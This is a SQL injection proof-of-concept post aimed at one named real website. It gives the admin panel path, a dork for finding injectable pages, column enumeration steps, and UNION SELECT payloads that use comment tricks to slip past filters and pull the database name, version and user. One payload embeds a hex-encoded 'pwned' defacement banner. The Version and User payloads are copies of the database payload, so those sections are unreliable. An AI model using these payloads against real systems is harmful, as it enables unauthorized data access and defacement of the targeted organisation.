==========================================================================
# Ttile : lwsc.ps - Sql injection
# Author : Dje3Bb4rAn0n (bassem) Fb.com/djebbar.bassem.16
# Date : 01/04/2019
# Tested on : Linux (backbox)
# Vendor : دائرة تكنولوجيا المعلومات
# Dork :
==========================================================================
POC :
[ + ] Site : https://lwsc.ps
[ + ] Admin panel path : site.com/admin/login.php
[ + ] search for the injection point using this dork .php?id site:https://lwsc.ps
[ + ] Use this payload : https://lwsc.ps/[ ].php?id= [ ID ] [ ' ]
[ + ] Example : https://lwsc.ps/works2.php?id=100'
[ + ] Fixable : https://lwsc.ps/works2.php?id=100 %23
19 columns
--------------
# https://lwsc.ps/works2.php?id=100+order+by+19 asc %23
Vunl column is [ 3 ]
-----------------------
# https://lwsc.ps/works2.php?id=-100 AnD Point(29,9)+/*!50000UnION*/+ /*!50000SEleCt*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 %23
Database:
--------------
# https://lwsc.ps/works2.php?id=-100 AnD Point(29,9)+/*!50000UnION*/+ /*!50000SEleCt*/+1,2,database/**_**/(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 %23
----------
Version :
-----------
# https://lwsc.ps/works2.php?id=-100 AnD Point(29,9)+/*!50000UnION*/+ /*!50000SEleCt*/+1,2,database/**_**/(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 %23
-------
USer:
-------
# https://lwsc.ps/works2.php?id=-100 AnD Point(29,9)+/*!50000UnION*/+ /*!50000SEleCt*/+1,2,database/**_**/(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 %23
[ + ] Example : https://lwsc.ps/works2.php?id=-100 AnD Point(29,9)+/*!50000UnION*/+ /*!50000SEleCt*/+1,2,concat(0x3c63656e7465723e3c68313e3c6d6172717565653e3c666f6e7420636f6c6f723d22726564222073697a653d353e70776e656420427920446a3342623172416e306e3c2f666f6e743e3c2f6d6172717565653e3c2f68313e3c2f63656e7465723e3c62723e4461746162617365203a20,database/**_**/(),0x3c62723e56657273696f6e203a20,Version/**_**/(),0x3c62723e55736572203a20,user/**_**/()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 %23
--------------------------------------------------------------------
PLeaseee fix this fast as u can Free palestine <3
---------------------------------------------------------------------
######
Greetz to : Lakarha_23 | mohammed pazzo | Ja GAr
######